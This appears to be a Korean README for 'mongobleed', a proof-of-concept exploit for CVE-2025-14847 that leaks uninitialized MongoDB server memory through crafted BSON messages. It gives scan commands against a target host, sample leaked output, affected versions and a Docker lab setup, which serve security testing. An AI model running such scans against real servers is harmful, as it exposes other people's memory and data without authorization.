
CVE-2025-14847에 대한 개념 증명 익스플로잇, 조작된 BSON 문서를 통해 서버의 초기화되지 않은 메모리를 유출하는 MongoDB zlib 압축 해제 취약점입니다.
CVE-2025-14847 - MongoDB 비인증 메모리 누수 익스플로잇
MongoDB의 zlib 압축 해제 취약점에 대한 개념 증명 익스플로잇으로, 인증되지 않은 공격자가 민감한 서버 메모리를 유출할 수 있습니다.
MongoDB의 zlib 메시지 압축 해제 결함으로 인해 할당된 버퍼 크기가 실제 압축 해제된 데이터 길이 대신 반환됩니다. 이를 통해 공격자는 다음과 같은 방법으로 초기화되지 않은 메모리를 읽을 수 있습니다:
uncompressedSize 값을 포함한 압축 메시지를 전송| 버전 | 영향 | 수정 |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
취약한 MongoDB 인스턴스를 실행하기 위한 Docker Compose 파일이 포함되어 있습니다:
docker-compose up -d
python3 mongobleed.py
이 익스플로잇은 길이 필드가 부풀려진 BSON 문서를 조작합니다. 서버가 이러한 문서를 파싱할 때 null 바이트에 도달할 때까지 초기화되지 않은 메모리에서 필드 이름을 읽습니다. 다양한 오프셋에서 각 프로브는 다른 메모리 영역을 유출할 수 있습니다.
유출된 데이터에는 다음이 포함될 수 있습니다:
/proc 데이터 (meminfo, 네트워크 통계)Joe Desimone - x.com/dez_
이 도구는 승인된 보안 테스트용으로만 사용해야 합니다. 무단 컴퓨터 시스템 액세스는 불법입니다.
| 옵션 | 기본값 | 설명 |
|---|
--host | localhost | 대상 MongoDB 호스트 |
--port | 27017 | 대상 MongoDB 포트 |
--min-offset | 20 | 프로브할 최소 문서 길이 |
--max-offset | 8192 | 프로브할 최대 문서 길이 |
--output | leaked.bin | 유출 데이터 출력 파일 |